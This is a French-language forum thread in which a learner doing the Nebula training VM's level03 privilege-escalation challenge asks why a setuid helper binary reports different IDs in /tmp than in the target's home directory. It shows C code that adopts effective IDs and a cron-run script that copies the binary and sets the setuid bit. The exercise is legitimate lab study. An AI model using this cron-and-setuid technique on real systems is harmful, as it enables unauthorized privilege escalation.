Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#1 Le 11/06/2014, à 12:28

guillaumec38

getegid et geteuid

Bonjour à tous !

Afin d'accroitre mes connaissance sur Linux, je fais des challenges d’élévation de privilèges, plus particulièrement sur la VM nebula dispo sur http://exploit-exercises.com/nebula.

Je bloque sur un point, relatif au SUID.

Je bosse sur le level03, que j'ai terminé, mais je souhaite préparer un Shell qui se lance avec les droits d'un autre utilisateur. Pour faire simple, sur ce challenge, la crontab de l'user flag03 exécute toutes les 3 minutes les scripts présents dans le répertoire /home/flag03/writable.d et les supprime (un grand classique des sites de challenges).

Je commence par compiler le code C suivant :
vi shell.c

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  printf("gid : %d\n",gid);
  printf("uid : %d\n",uid);
}
gcc shell.c -o shell

J'obtiens donc un shell avec comme propriétaire : level03:level03.

vi /home/flag03/writable.d/routine

cp /home/level03/shell /tmp/shell
chmod +s /tmp/shell

cp /home/level03/shell /home/flag03/shell
chmod +s /home/flag03/shell

La crontab passe et m’exécute ce code en tant qu'user flag03 (celui dont on vise les droits).

J'obtiens donc le même exécutable, avec les même droits, dans le dossier home de l'user flag03 et dans /tmp.

A l’exécution :
level03@nebula:~$ /tmp/shell
gid : 1004
uid : 1004
level03@nebula:~$ /home/flag03/shell
gid : 996
uid : 996

level03@nebula:~$ ll /tmp/shell
-rwsrwsr-x 1 flag03 flag03 7321 2014-06-11 04:00 /tmp/shell*
level03@nebula:~$ ll /home/flag03/res
-rwsrwsr-x 1 flag03 flag03 7321 2014-06-11 04:00 /home/flag03/shell*

Pourquoi les valeurs sont t'elle differentes ? Ou chercher ? Je bloque totalement la ..

Je precise que je pense avoir bien compris l'utilisation du SUID.

Merci d'avance !

Dernière modification par guillaumec38 (Le 11/06/2014, à 12:31)

Hors ligne

#2 Le 11/06/2014, à 13:09

guillaumec38

Re : getegid et geteuid

J'ai l'intuition que /tmp est protégé et retourne l'uid qui l'arrange. J'ai trouvé sur le net des réponses a ce challenge qui utilisent des scripts posés dans /tmp. Quand je teste leur méthode, cela ne marche pas (a cause de l'uid !).

Une idée sur le genre de protection utilisée ?

Hors ligne